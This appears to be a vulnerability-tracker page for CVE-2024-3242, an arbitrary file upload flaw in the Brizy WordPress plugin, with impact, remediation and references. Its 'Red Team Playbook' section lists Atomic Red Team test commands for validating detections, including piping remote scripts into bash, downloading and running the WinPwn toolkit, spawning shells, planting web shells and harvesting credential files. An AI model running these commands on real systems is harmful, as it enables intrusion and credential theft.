CVE-2024-3242
Overview
This vulnerability is an arbitrary file upload flaw caused by insufficient validation of file extensions in the validateImageContent function within the Brizy – Page Builder WordPress plugin. The flaw resides in the storeImages functionality, which fails to properly restrict file types, allowing unauthorized file formats to be uploaded. The affected component is the image upload handling mechanism in versions up to and including 2.4.43.
Vulnerability Description
The Brizy – Page Builder plugin for WordPress is vulnerable to arbitrary file uploads due to missing file extension validation in the validateImageContent function called via storeImages in all versions up to, and including, 2.4.43. This makes it possible for authenticated attackers, with contributor access and above, to upload arbitrary files on the affected site's server which may make remote code execution possible. Version 2.4.44 prevents the upload of files ending in .sh and .php. Version 2.4.45 fully patches the issue.
Impact
An attacker with contributor or higher privileges can upload arbitrary files to the server hosting the vulnerable WordPress site, potentially leading to remote code execution. This requires authenticated access, as indicated by the CVSS vector (PR:L), and no user interaction is needed (UI:N). Successful exploitation can result in full compromise of the web server, data breach, or service disruption. The vulnerability's network attack vector (AV:N) and low attack complexity (AC:L) increase its exploitability within the site's trusted user base.
Solution
To remediate this vulnerability, upgrade the Brizy – Page Builder plugin to version 2.4.45 or later, which fully patches the file upload validation issue. Version 2.4.44 provides partial mitigation by blocking .sh and .php file extensions but does not completely resolve the flaw. Detailed patch instructions and version releases are documented in the Wordfence advisory (https://www.wordfence.com/threat-intel/vulnerabilities/id/a414de0a-ae44-4955-bd25-ec6ad7860835) and the official WordPress plugin repository source code updates.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The Brizy Page Builder plugin for WordPress exhibits a significant vulnerability due to inadequate validation of file extensions in its image handling function. Specifically, the flaw resides in the validateImageContent function, which is invoked during the image storage process. This oversight allows authenticated users, particularly those with contributor access and above, to upload files without proper scrutiny of their extensions. Consequently, attackers can exploit this weakness to upload malicious files, including scripts that could lead to remote code execution. The absence of stringent checks on file types creates a pathway for unauthorized access and manipulation of the server environment.
Attack vectors for this vulnerability are primarily centered around authenticated users who possess contributor privileges. Once an attacker gains access to an account with sufficient permissions, they can leverage the arbitrary file upload capability to introduce malicious payloads. For instance, an attacker might upload a PHP shell script disguised as an image file. Once executed, this script could grant the attacker full control over the affected server, enabling them to execute commands, access sensitive data, or pivot to other systems within the network. The potential for exploitation is exacerbated by the widespread use of the Brizy Page Builder plugin, which is integrated into numerous WordPress sites, increasing the attack surface significantly.
The real-world implications of this vulnerability are profound, particularly for businesses that rely on WordPress for their online presence. An attacker successfully exploiting this vulnerability could lead to data breaches, defacement of websites, or even complete server compromise. The ramifications extend beyond immediate financial losses; they can also result in reputational damage, loss of customer trust, and potential legal liabilities stemming from data protection regulations. Organizations that fail to address this vulnerability risk not only their operational integrity but also their long-term viability in an increasingly competitive digital landscape.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. First, it is crucial to ensure that all instances of the Brizy Page Builder plugin are updated to the latest version, which includes patches that prevent the upload of files with dangerous extensions such as .sh and .php. Regular security audits and vulnerability assessments should be conducted to identify and remediate any outdated plugins or themes. Additionally, employing a web application firewall (WAF) can provide an additional layer of protection by filtering out potentially harmful file uploads before they reach the server. Monitoring user activity and implementing strict access controls can further reduce the risk of exploitation by limiting the number of users with elevated privileges.
In conclusion, the vulnerability within the Brizy Page Builder plugin presents a critical risk to WordPress sites, particularly those with inadequate security measures. The potential for arbitrary file uploads underscores the importance of rigorous validation processes and the need for timely updates to software components. By adopting proactive detection and mitigation strategies, organizations can safeguard their digital assets and maintain the integrity of their online operations.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Brizy | Brizy | All |
cpe:2.3:a:brizy:brizy:*:*:*:*:*:wordpress:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-1 | Accessing Functionality Not Properly Constrained by ACLs |
35%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (6)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-3242 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/a414de0a-ae44-4955-bd25-ec6ad7860835?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/brizy/trunk/editor/zip/archiver.php#L264 |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/brizy/trunk/editor/zip/archiver.php#L547 |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset/3086506/brizy/trunk/editor/zip/archiver.php |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset/3112878/brizy/trunk?contextall=1&old=3086506&old_path=%2Fbrizy%2Ftrunk |